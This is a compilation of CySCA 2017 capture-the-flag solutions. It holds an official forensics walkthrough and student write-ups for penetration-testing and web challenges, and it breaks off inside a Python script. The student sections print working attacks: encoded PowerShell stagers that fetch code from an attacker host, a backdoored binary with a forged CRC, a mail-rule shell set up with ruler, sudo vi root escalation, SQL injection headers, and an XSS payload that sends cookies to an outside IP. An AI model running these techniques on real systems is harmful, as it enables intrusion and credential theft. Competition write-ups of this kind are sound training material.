Assessment 3: Digital Forensic Report
CySCA2017_Forensics.pdf
© 2017 Cyber Security Challenge Australia CySCA 2017 – Forensics Solutions
2017
Forensics Solutions
Sponsored By
© 2017 Cyber Security Challenge Australia CySCA 2017 – Forensics Solutions 1 | P a g e
Table of Contents Challenge 1: Io ............................................................................................................................................................. 2
Challenge Description ..................................................................................................................................................................... 2 Writeup ........................................................................................................................................................................................... 2
Challenge 2: Europa ..................................................................................................................................................... 2 Challenge Description ..................................................................................................................................................................... 2 Writeup ........................................................................................................................................................................................... 2
Challenge 3: Ganymede ............................................................................................................................................... 2 Challenge Description ..................................................................................................................................................................... 2 Writeup ........................................................................................................................................................................................... 2
Challenge 4: Callisto ..................................................................................................................................................... 3 Challenge Description ..................................................................................................................................................................... 3 Writeup ........................................................................................................................................................................................... 3
Challenge 5: Enceladus................................................................................................................................................. 3 Challenge Description ..................................................................................................................................................................... 3 Writeup ........................................................................................................................................................................................... 3
Challenge 6: Titan ........................................................................................................................................................ 3 Challenge Description ..................................................................................................................................................................... 3 Writeup ........................................................................................................................................................................................... 3
Challenge 7: Iapetus .................................................................................................................................................... 4 Challenge Description ..................................................................................................................................................................... 4 Writeup ........................................................................................................................................................................................... 4
Challenge 8: Rhea ........................................................................................................................................................ 4
Challenge Description ..................................................................................................................................................................... 4 Writeup ........................................................................................................................................................................................... 4
Challenge 9: Dione ....................................................................................................................................................... 4 Challenge Description ..................................................................................................................................................................... 4 Writeup ........................................................................................................................................................................................... 4
Challenge 10: Tethys .................................................................................................................................................... 5 Challenge Description ..................................................................................................................................................................... 5 Writeup ........................................................................................................................................................................................... 5
© 2017 Cyber Security Challenge Australia CySCA 2017 – Forensics Solutions 2 | P a g e
Challenge 1: Io
Challenge Description What is the link that was used to compromise the user?
Writeup Using the PCAP provided, it is easy to identify that the IP address of the user is 192.168.26.138 and the
hostname is WIN-5OCDTVM44OB. Looking at requests made by that IP address, we see that the user logged into
their email via POP and downloaded an email with a PDF attachment.
This retrieval occurred at 2017-04-25 12:41:03Z
Extracting the attachment is easily accomplished by finding the TCP stream for the POP message retrieval (TCP
Stream 64), saving the Server-to-Client portion, and trimming out the BASE64 encoded PDF file.
Looking at the metadata for the PDF we can identify that it was modified about 12 hours before it was sent:
exiftool extract
XMP Toolkit : Adobe XMP Core 5.6-c015 81.157285, 2014/12/12-00:43:15
Producer : Microsoft® Word 2016
Format : application/pdf
Creator : Adekunle Abiodun
Creator Tool : Microsoft® Word 2016
Create Date : 2017:02:13 00:28:59-08:00
Modify Date : 2017:04:25 11:42:25+10:00
Metadata Date : 2017:04:25 11:42:25+10:00
Document ID : uuid:1F1FE5DC-AA50-4429-8309-B4D809008889
Instance ID : uuid:fcc1012f-b447-40f2-968f-7465c9f4ccc6
Author : Adekunle Abiodun
Using an analysis tool like PDFiD, we show that there isn't any "active" content in the document, so we are
looking at a more traditional "click-the-embedded-link" style phish, using a PDF to hide the link from email
based scanners.
If we parse the file with pdf-parser (also by Didier Stevens) we identify a number of links (URI's), which if we
search for in the PCAP, we see the one our user interacted with:
hxxp://miscemails[.]dyn[.]nerds[.]lu/miscemails.hta
Challenge 2: Europa
Challenge Description What is the SHA1 sum of the payload?
Writeup TCP Stream 72 is the HTTP request and download of the file, which occurred at 12:41:27Z
Extracting the HTA file using the Wireshark inbuilt HTTP object export, we get the miscemails.hta file, which
has a SHA1 has of 282cb147aa0a2d803a28c9fe0eff917dcbd5d39e.
Challenge 3: Ganymede
Challenge Description What is the process id of the infected process from this attack?
Writeup When executed, the HTA contains JavaScript that launches PowerShell to execute a stage 2. The Stage 2 launches
a second PowerShell binary that gets encoded shellcode injected into it via DLL Reflection.
At this point we turn our attention to the memory dump. Using the latest version of the Volatility Framework
© 2017 Cyber Security Challenge Australia CySCA 2017 – Forensics Solutions 3 | P a g e
(2.6), executing the "imageinfo" plugin against the dump file identifies the Operating System as Windows 7 SP1
64 bit. The dump was taken at 2017-04-25 12:49:38Z.
Running the "pstree" and "pslist" plugins we show that there are 3 running powershell processes, but only 2
with the parent-child relationship we would expect based on the script. Running the "netscan" plugin we find
that the PowerShell process running as PID 1272 has an established connection to 192.168.26.136 on port
4444. The launch time for this process is 2017-04-25 12:41:31Z.
Challenge 4: Callisto
Challenge Description What database tables have been stolen? List the names.
Writeup ** Note: In the pcap, we show the traffic over 4444 to this .136 host, but we also see a DHCP request from that IP,
with the hostname "kali" **
Now we have a time to pivot on, we can look at the machine in more depth. Here there are 3 plugins that will be
of most use - "mftparser", "usnparser", and "timeliner" (with registry extraction enabled)
Looking through the MFT and USNJournal timelines, we show that at 2017-04-25 12:41:51Z a file named
"temp\steal_table.bat" was created.
5 seconds later we see "data.sql", "employees.sql", and "security.sql" being created in the same folder.
A few seconds later at 2017-04-25 12:42:09Z, the 3 ".sql" files and the batch script are deleted.
Challenge 5: Enceladus
Challenge Description The attacker uploaded files for persistence. What are their names?
Writeup Scrolling further ahead, focusing on batch scripts being created, we can identify the file "bc2d.bat" being written
to disk at 2017-04-25 12:44:30Z, followed 2 seconds later by the file "bc2d.b4mee"
Using the "filescan" and "dumpfiles" plugins, we can retrieve the content of "
c:\users\john\appdata\local\bc2d.bat". All this shows is that the explorer shell is being used via the
"start" command to launch the file "c:\users\john\appdata\local\bc2d.b4mee".
Challenge 6: Titan
Challenge Description What is the registry key used to execute the last stage of the persisting malware?
Writeup Looking at the contents of the "bc2d.b4mee" file, all we see is "AAAA"... did our tools fail? was the file corrupted?
Not at all - if you pivot on the ".b4mee" in the timeline, you will see an entry in the UsrClass hives for ".b4mee".
These hives are used to control how windows executes files.
Using the "printkey" command to get the value of the ".b4mee" key in in the UsrClass hive, we get the value
"gf01".
Using this value as an pivot, we see the Key "HKSOFTWARE:Classes\gf01\shell\open\command" was written
just a few seconds after the UsrClass, which in turn was written to just a few seconds after the batch file.
Where it gets interesting is the value of the "HKSOFTWARE:Classes\gf01\shell\open\command" key - it is a
© 2017 Cyber Security Challenge Australia CySCA 2017 – Forensics Solutions 4 | P a g e
segment of obfuscated JavaScript, being executed by the mshta.exe utility.
With the junk variables removed, the command is show to read the value of another registry key
("HKCU:Software\Microsoft\mem") and "eval" its contents.
Challenge 7: Iapetus
Challenge Description The attacker thought they are using advanced obfuscation techniques being used throughout the registry. You
have to go deeper.
Writeup The referred to key is even further obfuscated JavaScript, this time protected by XOR. Using the simple method of
changing the final "eval" into a "document.write" and putting the code into a HTML document skeleton, we
get even more obfuscated PowerShell, which is very similar to that observed in the phish.
“LGAhfigmLhYntUjE6LpGBRTZHFJKJa”
Challenge 8: Rhea
Challenge Description 1. Look at unusual network traffic. Which protocols look out of the ordinary?
2. Somebody might have already created signatures ....
Writeup At this point of the investigation, you received an alert that a second attacker may have obtained a foothold on
the machine. On a hunch, you run the PCAP though a local snort instance running updated rules.
Starting at 2017-04-25 12:48:00Z, A number of "OS-WINDOWS Microsoft Windows SMB remote code execution attempt"
events are detected from the IP 192.168.26.133.
These are followed by "ET EXPLOIT Possible ETERNALBLUE MS17-010 Heap Spray" and "ET EXPLOIT Possible
ETERNALBLUE MS17-010 Echo Response".
Eventually at 12:46:16Z there is a detection for "ET EXPLOIT Possible DOUBLEPULSAR Beacon Response".
Looking up the CVE for ETERNALBLUE gives us CVE-2017-0143
Challenge 9: Dione
Challenge Description Which important windows process exhibits behavior that is not normal?
Writeup Going back to the memory image, we use the "malfind" plugin to identify possible injected code.
Though this we can identify 2 injected binaries in "lsass.exe" running as PID 480.
This is in line with some published analysis of attackers using ETERNALBLUE/DOUBLEPULSAR to inject into LSASS.
The injected binaries can be extracted using the "dlldump" plugin.
© 2017 Cyber Security Challenge Australia CySCA 2017 – Forensics Solutions 5 | P a g e
Challenge 10: Tethys
Challenge Description James reset his password over HTTP. Twisted ain't it.
Writeup
When we look at the packet capture, maybe search for JAMES, we will see the following conversation between
two hosts;
If you look at the streams, you will notice that /seed.php is being called and then /reset_password.php for
user ‘james’. Each of the calls returns a token. Assembling them we get 10 tokens.
1591983420
101133984
362997266
1495162757
448100195
1820519865
559679156
516208310
2026215813
1258990469
After we gather this info, there’s a last call to /set_password.php:
The response shows the source code.
Having the tokens and knowing that mt_rand is used, and also knowing how the password is generated, we now
understand that we need to get the seed and generate the next token. Then we combine them together and
that’s going to be the flag.
For this, we either write something of our own thing (INSANE) or use untwister, which is publicly available. You
can just run that like this:
© 2017 Cyber Security Challenge Australia CySCA 2017 – Forensics Solutions 6 | P a g e
It will be reasonably fast (16s) to get the seed. Then you just write a quick script to find the next (eleventh) token
in the series.
Concatenate the 11th token with the seed to get the flag:
1730480668863592
CySCA2017_Student_Solutions.pdf
© 2017 Cyber Security Challenge Australia CySCA 2017 – Student Solutions
2017
Student Solutions Sponsored By
© 2017 Cyber Security Challenge Australia CySCA 2017 – Student Solutions 1 | P a g e
Table of Contents What is CySCA? ........................................................................................................................................................... 2
Results ........................................................................................................................................................................ 2 Winners of the 2017 Australian Cyber Challenge ........................................................................................................................... 2 Highest Scoring Team of First Year Students .................................................................................................................................. 2 Random Challenge - First to Complete the Boss of the SOC - Website Defacement– Informant .................................................. 2 Most Innovative Response - IoT ESP8266 Explain this! – Take a Peak ........................................................................................... 2 Corporate Penetration Testing Challenge ...................................................................................................................................... 2 Random Prize Draw - Solo Solvers – Detect and Defend ................................................................................................................ 2 First to Capture Most Difficult Exploitation Challenge - MOVpwn ................................................................................................. 2
Corporate Pen Test ...................................................................................................................................................... 3 Challenge 1: You've been SRVed .................................................................................................................................................... 3 Challenge 2: Cumulonimbus ........................................................................................................................................................... 3 Challenge 3: Get the HASH find the Treasure MAPI ....................................................................................................................... 5 Challenge 4: SUbterfuge ................................................................................................................................................................. 6
Web Application Pentest ............................................................................................................................................. 8 Challenge 1: Demo ......................................................................................................................................................................... 8 Challenge 2: Only in the upside-down ............................................................................................................................................ 8 Challenge 3: I see dead hackers...................................................................................................................................................... 9 Challenge 4: Dont hackers open inside ........................................................................................................................................ 10 Challenge 5: Hot coffee helps me sleep ....................................................................................................................................... 11 Challenge 6: Katy Perry my datacenter ........................................................................................................................................ 12 Challenge 7: My reset tokens are ready ....................................................................................................................................... 13 Challenge 8: Lampje ..................................................................................................................................................................... 15
Detect and Defend ..................................................................................................................................................... 16
Challenge 1: OZMA ....................................................................................................................................................................... 16 Challenge 2: It's Tic Toc. Not Tic Tap! ........................................................................................................................................... 17
Exploitation ............................................................................................................................................................... 18 Challenge 1: Eggs and Bacon ........................................................................................................................................................ 18 Challenge 2: Warmup ................................................................................................................................................................... 18 Challenge 3: MOVpwn .................................................................................................................................................................. 20
Forensics ................................................................................................................................................................... 22 Challenge 1: IO.............................................................................................................................................................................. 22 Challenge 2: Europa ...................................................................................................................................................................... 22 Challenge 3: Ganymede ................................................................................................................................................................ 23 Challenge 4: Callisto ..................................................................................................................................................................... 24 Challenge 5: Enceladus ................................................................................................................................................................. 25 Challenge 6: Tethys ...................................................................................................................................................................... 25
IoT ESP8266 ............................................................................................................................................................... 26 Challenge 1: Take a Peak .............................................................................................................................................................. 26 Challenge 2: Whoop Whoop Whoop ............................................................................................................................................ 26 Challenge 3: In Certs we Trust ...................................................................................................................................................... 28 Challenge 4: Sanitize All Inputs ..................................................................................................................................................... 29 Challenge 5: Not the Lock you’re looking for ............................................................................................................................... 29
Miscellaneous ........................................................................................................................................................... 30 Challenge 1: Python – In a Pickle .................................................................................................................................................. 30 Challenge 2: Python - Abstract Syntax Treat ................................................................................................................................ 31 Challenge 3: Web - Ninja Belts ..................................................................................................................................................... 33 Challenge 4: Web - Guestbook ..................................................................................................................................................... 33 Challenge 5: Follow the Traffic ..................................................................................................................................................... 34 Challenge 6: Protoverse................................................................................................................................................................ 36 Challenge 7: Strings - Reversing password ................................................................................................................................... 38 Challenge 8: Reversing – Needle .................................................................................................................................................. 39
© 2017 Cyber Security Challenge Australia CySCA 2017 – Student Solutions 2 | P a g e
What is CySCA? CySCA is a ‘hacking’ competition run by an alliance of Australian Government, business and academic professionals who are committed to finding the next generation of Australian cyber security talent – including you! Starting in 2012, CySCA will show you what it’s like to work in cyber security and will get your name in front of some of Australia’s most dynamic employers. CySCA is Australia’s only national cyber security competition. It runs over 24-hours and will test both your technical skills and communication know-how. It’s not easy, but it’s heaps of fun, and the opportunities you get from participating are fantastic. Think you’re up for the Challenge?
Results Winners of the 2017 Australian Cyber Challenge
1. University of NSW (UNSW1) - 4002 points 2. Monash University Team 1 (MONU1) - 2938 points 3. Edith Cowan University (ECU1) - 2772 points 4. Australian National University (ANU1) - 2726 points 5. Monash University (MONU3) - 1986 points 6. University of New South Wales (UNSW2) - 1935 points 7. University of New South Wales (UNSW3) - 1773 points 8. Royal Melbourne Institute of Technology (RMIT2) - 1605 points 9. Monash University (MONU2) - 1596 points 10. Macquarie University (MQU3) - 1549 points
Highest Scoring Team of First Year Students • Griffith University (GRIU1)
Random Challenge - First to Complete the Boss of the SOC - Website Defacement– Informant • Queensland University of Technology (QUT1)
Most Innovative Response - IoT ESP8266 Explain this! – Take a Peak • Murdoch University (MUR1)
Corporate Penetration Testing Challenge • Australian National University (ANU1)
Random Prize Draw - Solo Solvers – Detect and Defend • University of Sydney (UOS2)
First to Capture Most Difficult Exploitation Challenge - MOVpwn • University of Sydney (UOS1)
You can view the final scoreboard over at CySCA 2017 - Scoreboard .
© 2017 Cyber Security Challenge Australia CySCA 2017 – Student Solutions 3 | P a g e
Corporate Pen Test
Challenge 1: You've been SRVed Challenge Description
Recover the list of external systems on the TICTOC corporate network. The initiative's DNS domain is tictoc.cysca.
Writeups
UTS1 nslookup on the domain reveals the name server. attempt zone transfer on nameserver, this is successful.
we see a SRV resource record for the flag.
Attempt to open a UDP socket on port 34352 as show in the RR.
flag is revealed
UOS1 The tictoc.cysca name server is misconfigured to allow zone transfers. Using dig to perform the transfer, we
leak the existence of a _flag service hosted at axfrflag.tictoc.cysca. [*] SRV _flag._UDP.tictoc.cysca axfrflag 34532 10 no_ip
connecting to the UDP service at axfrflag.tictoc.cysca:34532 presents us with the flag.
TNSWM3 We ran dnsrecon, and dig and found an axfr record called flag on UDP Port 34532
We then ran an nmap against it
nmap -A -sU -p 34532 -g 53 axfrflag.tictoc.cysca -P0
MONU4 Performa a domain transfer (AXFR) on tictoc.cysca using dig (dig -t axfr tictoc.cysca
@ns.tictoc.cysca), which reveals the _flag._UDP service, running on axfrflag.tictoc.cysca on port
34532. Connect to that port using netcat (netcat -u axfrflag.tictoc.cysca 34532), to receive the flag.
RMIT3 1. Used the `dig` command to dig into the tictoc.cysca domain
2. Analysed the SRV record
3. Used `nc` to listen for UDP packets on the SRV record URL
4. Pressed enter
5. Flag revealed! :')
Challenge 2: Cumulonimbus Challenge Description
Assess the FTP server, is it sharing more than it should. Can this be leveraged to gain root.
Writeups
UNSW1 The FTP server allows anonymous login and has a copy of WinSCP with a helpful .ini file alongside.
The .ini file contains a password, but in some kind of obfuscated format.
I grabbed a local copy of WinSCP, gave it the .ini file, and told it to log passwords as it used then, then used that
copy of WinSCP to connect to the ftp server as mctarget.
mctarget has sudo access to a limited list of commands, in particular vi, limited to certain paths
by opening a vi session sudo /usr/bin/vi /var/ftproot/a (which spawns as root), you can then easily run
© 2017 Cyber Security Challenge Australia CySCA 2017 – Student Solutions 4 | P a g e
:!sh, the vi/vim command for opening a shell, thus giving a root shell
then it's just cat /root/flag.txt
ECU1 Get scp.ini, decode password, use password for SSH
Privesc:
open vi in writable folder: /var/ftp/blah or somesuch
escape vi with :!bash
cat flag.txt, behappy
MONU1 First, we did an anonymous login on the ftp server in browser.
looking through the files, we found a WinSCP client with a WinSCP.ini
We realised that the credentials for mctarget were stored in the .ini file.
Running the client with the .ini file gives us the credential by logging it S0Str0ng!N0tFl@gTh0
Once logged into SSH, we ran sudo -l to list the available sudo commands. This gives:
Matching Defaults entries for mctarget on ftp: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User mctarget may run the following commands on ftp:
(ALL : ALL) !ALL
(root) /usr/bin/vi /var/ftproot/[A-Za-z0-9_-]*, !/usr/bin/vi */..*, !/usr/bin/vi /var/ftproot/, !/usr/bin/vi
*/.,
!/usr/bin/vi * *
So we can run vi as root on files in the ftproot! So, we ran "sudo /usr/bin/vi
/var/ftproot/Printing/IoT_Design_test.png" which opens up vi as root. Now we can do :sh and that
gives us a root shell. Running cd ~ takes us home, and ls lists files, and there's a flag.txt, so we cat
flag.txt.
FLINU1 We ran an nmap -sV scan over ftp.tictoc.cysca from the DNS recon stage.
This showed the ftp server running on the host allowed anonymous login.
We then logged in downloaded various configuration files and found WinSCP.ini.
In the bottom of the file was an encrypted password and username.
We then downloaded winscppasswd.exe which we used to retrieve that plain text password.
When then used that password and the username to SSH into the host.
We then ran sudo -l we detailed the commands we could run as root.
We discovered we could run sudo /var/ftproot/temp/23ohgn2d.tmp.
Once we were in vi we used :sh which gave us a root shell.
Then we used cat /root/flag.txt to reveal the flag.
UOM1 We start with the host ftp.tictoc.cysca. That means we can expect there to be an FTP server running on
port 21. We confirm with nmap and find there is also an SSH server running on port 22.
So, we try to log in with the anonymous credentials and find out we have permissions to view a lot of files we
should not be able to view. Two particularly interesting examples are the PuTTY and WinSCP directories.
We view the .ini file WinSCP.ini and scroll down to discover the password is saved and there is no master
password, meaning we can easily just decrypt it into S0Str0ng!N0tFl@gTh0 given the host of
ftp.tictoc.cysca and the user of mctarget.
We can use these credentials to SSH into the box. We run sudo -l to find out what we can do, and realise
we can run vi as root using sudo in the /var/ftproot directory.
This is great, because if we can run vi as root, we can use the command :sh to get a privileged shell in vi.
We do this, cd to /root, and cat the flag.txt file to find the flag.
© 2017 Cyber Security Challenge Australia CySCA 2017 – Student Solutions 5 | P a g e
Challenge 3: Get the HASH find the Treasure MAPI Challenge Description
Now you have full access to the ftp server you can see files you couldn't before, what else is available to you? and can you use it get a user's hash and pivot to the workstation?
Writeups
UNSW1 Searching around the box revealed Samba's password database, where madisonw's password was stored
(hashed, but a very weak password easily cracked via a dictionary attack), examining the PST file located in
madison's directory also pointed towards a mail server.
There was a mail server in the DNS records, and a quick run of dirbuster showed that it was running a copy
of exchange
Using madisonw's credentials and sensepost's "ruler" tool, it was possible to configure madison's outlook
client in such a way that when receiving mail, it would automatically call a binary located on the FTP server's
samba share (which was backdoored and called home for a nice shell)
MONU1 Once we had full root access, we changed the root password and allowed SSH password logins for root so
we didn't have to do everything through vi ;)
Then we went into the FTP root folder and the home/madisonw folder since we were not allowed to access
this before. In here we found an Outlook backup file with some emails from Madison to others in the company.
Importantly, one of them involved her having an SMB share mounted on her computer that pointed to this
server.
netstat -ant confirmed that there was indeed something connecting to this server from 10.10.5.100.
Since this is SMB, we thought that we could somehow grab her password hash.
Looking in /etc/samba/smb.conf, there is nothing special about where the passwords are stored, so we
assumed the default. Running "pdbedit -s /etc/samba/smb.conf -L -w" gives:
mctarget:1002:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:74D9349DA6D684E0D9ADC303DB64B9EA:[DU ]:LCT-58AECC49:
madisonw:1003:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:2B2AC2D1C7C8FDA6CEA80B5FAD7563AA:[U ]:LCT-58F4BC08:
So madison's password hash is 2B2AC2D1C7C8FDA6CEA80B5FAD7563AA! Putting this into hashkiller.co.uk gives her
password as "computer". There are quite a few hints about using the mail server, so we remembered from the
zone transfer that there's a mail.tictoc.cysca and on https it's running OWA. Googling around a bit for MAPI,
we came across "ruler" which promised to give me a shell - that's pretty cool!
We fired up Empire to create a PowerShell listener on our Kali box, and generated a VBS payload to connect
back to us:
CreateObject("Wscript.Shell").Run "PowerShell.exe -NoP -sta -NonI -W Hidden -Enc
WwBTAFkAUwB0AGUAbQAuAE4ARQB0AC4AUwBFAFIAdgBpAGMARQBQAG……..OAEwATwBhAGQAUwBUAFIASQBuAEcAKAAiAGgAdAB0AHAAOgAvAC8
AMQA5ADIALgAxADYAOAAuADUALgAxADAAMAA6ADgAMAAwADEALwBpAG4AZABlAHgALgBhAHMAcAAiACkAKQApAHwAJQB7ACQAXwAtAGIAWABPA
HIAJABLAFsAJABpACsAKwAlACQAawAuAEwAZQBOAGcAVABIAF0AfQA7AEkARQBYACAAKAAkAGIALQBqAE8ASQBuACcAJwApAA==", 0, False
Then we used
./ruler --username madisonw --password computer --email madison.wilton@tictoc.cysca --
insecure --verbose --URL https://autodiscover.tictoc.cysca/autodiscover/autodiscover.xml
form add --suffix superduper3 --input command.txt --send --rule
in ruler to trigger the shell popping goodness. And sure enough, we get a connection back to us. Listing the
contents of Madison's home folder shows that there's a flag.txt on the Desktop.
type on this file gives the flag.
ECU1 Checked out the ftp box, noticed madisonw's directory full of stuff, including a PST. Opened PST, noticed
talked about mapping shares. Found AV thing, probably means that her box is AV'd good. Spent a bit of time
© 2017 Cyber Security Challenge Australia CySCA 2017 – Student Solutions 6 | P a g e
working out what is what, noticed SMB enabled - figured smb was on this box for the mapping things - which
means smb creds!.
Used responder to obtain smb creds, and cracked. Got confused for hours, googled MAPI exploit, ruler was
the only result. Spent a bit of time looking at how to make it work, battled picky arguments, but eventually got
it working by specifying URL and actually getting the username/email right. cmd shells didn't seem to be
working (maybe AV?) so had to resort to shellter :(. Got shell, got flag. Happy.
ANU1 The database of SMB hashes for each user was found on the FTP server, using the previously escalated
privileges, and cracked. This gave us credentials for madisonw's Outlook Web App account. Using a tool
named "ruler", we added a mailprocessing rule to her account which would execute a reverse shell payload
on the server granting us access.
Challenge 4: SUbterfuge Challenge Description
Can you get System() on the workstation by poorly configured custom scripts.
Writeups
ANU1 The auto backup script checked the CRC32 of the Backup.exe file, however this hash is simple to collide with,
and Backup.exe was writable by regular users (such as madisonw's account), so a reverse shell was
modified to have the required CRC and written to Backup.exe;
giving shell as each user who runs the script. As mctarget's account is an Administrator, the shell running as
his user was used to retrieve the flag.
MONU1 From the previous challenge we were on the WORKSTATION as Madison. Running "schtasks.exe" shows
the scheduled tasks that have been created, and there is one that runs for madison. Looking around the
filesystem we see that in C:\AutoBackup there are some interesting files. Importantly, there's Backup.exe
and RunBackup.ps1.
It seems like the scheduled task gets run as each user and invokes RunBackup.ps1. We can't write to
RunBackup.ps1, so modifying it to be malicious directly is not possible. What it does is execute Backup.exe
only if the CRC matches.
We CAN write to Backup.exe, so all we have to do is generate a malicious Backup.exe and change its CRC
to match 0x93C051C2. This is pretty trivial with only 4 bytes needing to be modified due to the way CRC
works. We generated a stager with Empire and created a new Backup.exe with this code:
int main()
{
system("PowerShell.exe -NoP -sta -NonI -W Hidden -Enc Enc
WwBTAFkAUwB0AGUAbQAuAE4ARQB0AC4AUwBFAFIAdgBpAGMARQBQAG……..OAEwATwBhAGQAUwBUAFIASQBuAEcAKAAiAGgAdAB0AHAAOgAvAC8
AMQA5ADIALgAxADYAOAAuADUALgAxADAAMAA6ADgAMAAwADEALwBpAG4AZABlAHgALgBhAHMAcAAiACkAKQApAHwAJQB7ACQAXwAtAGIAWABPA
HIAJABLAFsAJABpACsAKwAlACQAawAuAEwAZQBOAGcAVABIAF0AfQA7AEkARQBYACAAKAAkAGIALQBqAE8ASQBuACcAJwApAA==");
return 0;
}
Using the program from https://GitHub.com/rr-/CRC-manipulator we just give the compiled version,
and tell it what CRC we want, and it adds bytes to the end of the file to make it so. Once the spoofed binary is
created, it is uploaded through the Empire shell to the workstation and replaces the original Backup.exe.
After a minute or so, the scheduled task runs as markmctarget and executes our malicious binary, giving us a
shell as him. Running usemodule privesc/getsystem from mark's shell escalates us to SYSTEM, and we
can cat C:\flag\flag.txt to retrieve the flag.
UNSW1 Exploring my newfound shell, the /AutoBackup directory looked interesting, a cursory examination showed
that it was a binary being regularly executed by different users, and was world writable, easy to replace!
© 2017 Cyber Security Challenge Australia CySCA 2017 – Student Solutions 7 | P a g e
Not so fast though, they actually call a wrapper that checks the CRC32 hash of the file to ensure that it hasn't
been tampered with.
CRC32 is not a cryptographically secure hash though, so using the forceCRC32.py script I was able to easily
create a hash collision, and replace the Backup.exe binary with one of my own, that would call back home
like a nice little process, now operating under the new privileges of the user that called it.
markmctarget is one such user, who also has Administrative privileges. A simple call to meterpreter's
getsystem was enough to succeed and get SYSTEM privileges, and easily access the flag
ECU1 Found backup script being run as admin, the binary that it was targeting had write privs. Replace binary with
backdoored version (and use https://www.nayuki.io/page/forcing-a-files-crc-to-any-value to
make the CRC pass the integrity check) and get system :D
© 2017 Cyber Security Challenge Australia CySCA 2017 – Student Solutions 8 | P a g e
Web Application Pentest
Challenge 1: Demo Challenge Description
True hackers view the world in code
Writeups
GRIU1 Found demo,demo as a comment at the end of the page source.
Used this as username and password to log in.
QUT1 Step 1 Looked at the Source Code.
Step 2 Found Comment
Step 3 ??????
Step 4 profit
UOM1 The developer of the site forgot to remove a comment with the login details from the source code of the site
before deploying to prod. Using this to log in, the flag is on the top of the site.
UOQ2 Username, password demo:demo shown in html source code (as comment) at foot of page.
CU3 demo:demo was left in the comments
Challenge 2: Only in the upside-down Challenge Description
Can you gain access to the DC.
Writeups
SWIN2 Upon inspecting the source code, a set of <script> tags are found within the page. Careful inspection of the
script tags shows that one of them contains the behaviour of the activation button.
if(code === "2efc7f9bb6c3c2184a1caf53fad52dcc07cb5239".split("").reverse().join("")) demonstrates the
expected input. Upon splitting and reversing the set of characters, the activation code is found. This reveals
the Flag on the next page
UNE1 Looked at source code of /dashboard and noticed the code is in plain text. To enter the activation code, it
simple needed to be reversed as noted in the source code.
UNSW4 Reading the source code, reveals the activation code is the string "2efc7f9bb6c3c2184a1caf53fad52dcc07cb5239" in
reverse. Entering the reversed string as the code, reveals the flag.
TNSWW2 In the JavaScript,the activation code is checked against 2efc7f9bb6c3c2184a1caf53fad52dcc07cb5239.split("").reverse().join("")
Copied this string and ran .split("").reverse().join("") on it via JS Console to get the required code.
MQU2 Entering any code whatsoever into the activation field leads to it being echoed into the JavaScript console.
Chrome provides me a nice link into the code that logged that into the console. I immediately saw the
activation code in almost plain sight. It was just reversed.
© 2017 Cyber Security Challenge Australia CySCA 2017 – Student Solutions 9 | P a g e
I copied the string with the .split().reverse().join() into the chrome JavaScript console and retrieved the
activation code. After entering it into the activation field the software was registered
Challenge 3: I see dead hackers Challenge Description
I hate injections
Writeups
ANU4 By looking at the source code, I noticed that there's an AJAX request sending "X-Browser" header, I tried to
remove this header and the response gives different result (client_supported_browsers changes from [] to
"Unknown").
It's probably using something like "SELECT * FROM table WHERE column = '{$_SERVER['X-Browser']}" to extract data,
I tried to send the header with the value "' or 1=1--" which gives a list of supported browsers!
However there's no password/flags in it. So, I thought the most common table name to store user credentials
will be user/users, I tried "\' or 1=1 UNION SELECT username, password FROM users--" and it then gives the
username and password.
ECU1 1. Inject SQL into header using SQLmap
2. Crack hash obtained through --dump-all argument
3. Login
4. flag get
UNSW1 GET /api/public/status HTTP/1.1
Host: 10.13.37.210:8003
Pragma: no-cache
Cache-Control: no-cache
X-Browser: chrome' UNION select username,password FROM Users;--
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/58.0.3029.110 Safari/537.36
Origin: http://admin-panel.cysca
Referer: http://admin-panel.cysca/ipcam/ipcam
Accept-Language: en-US,en;q=0.8
Connection: close
Pop SQL injection with the X-Browser header. Crack the hash using online database;
https://hashkiller.co.uk/md5-decrypter.aspx
MONU2 1. Found the injection point using burp, for x-header, this was iterated using a simple word list to see if it was
injectable.
2. Save the request to a file, to give to SQLmap, you can flag a header item with * and it'll try to inject on it.
3. SQLmap -r request --level=5 --dump-all --threads=4
4. Find the hash and try to see if it exists in a cracked database, it does https://hashkiller.co.uk/md5-
decrypter.aspx
5. Login and get flag :)
MONU1 Looking at the HTTP headers for the /api/public/status request we see that there is a X-Browser header
being passed. Looking at the hint we see that we may need to do injection. WE realised that the header was
vulnerable to SQL injection and the DB is running SQLite.
running the request through SQLmap we get the Users table with the username and hash
admin:51f9f6bef7b3d88f28bcf7b95f81ec72 which translates to MD5 : P@ssw0rd2016
putting the password in the challenge we get the flag
© 2017 Cyber Security Challenge Australia CySCA 2017 – Student Solutions 10 | P a g e
Challenge 4: Dont hackers open inside Challenge Description
Nothing is safe
Writeups
UNSW1 brute force. best force. and then XSS your device id
import requests
base = "http://10.13.37.210:8004/api/"
def turn(amount):
req = requests.post(base + "public/turn?amount=" + str(amount))
print(req.json())
return req.json()
def status():
req = requests.get(base + "public/status")
print(req.json())
return req.json()
ticks = 50
def rotate_right(rotations, cur, target):
shift = ticks * (rotations - 1)
res = cur - target
shift += (50 - cur) % 50
shift += target
return shift
def rotate_left(rotations, cur, target):
shift = ticks * (rotations)
shift -= ((ticks + target) - cur) % 50
return -shift
def get_position():
return status()['dialPos']
def unlock():
payload = """<script>document.location="http://192.168.5.101/"%2bdocument.cookie;</script>"""
r = requests.get(base + "public/unlock?deviceId="+payload)
return r.text
def lock():
r = requests.get(base + "public/lock")
return r.text
targets = [5, 15, 25, 35, 45]
#targets = [4, 12, 20, 28, 36, 44, 50]
#targets = [3, 9, 15, 21, 27, 33, 39, 45]
def brute():
for a in targets:
for b in targets:
for c in targets:
if (a, b, c) == (5, 15, 35):
continue
if (a, b, c) == (15, 15, 35):
continue
if (a, b, c) == (25, 15, 35):
continue
if (a, b, c) == (35, 15, 35):
continue
if (a, b, c) == (45, 15, 35):
continue
print("Trying : %d, %d, %d" % (a, b, c))
turn(rotate_left(4, get_position(), a))
turn(rotate_right(3, get_position(), b))
turn(rotate_left(2, get_position(), c))
turn(35)
res = unlock()
if 'true' in res:
print("KK WE GOOD %d, %d, %d" % (a, b, c))
print(res)
print(status())
def win(first):
turn(rotate_left(4, get_position(), first))
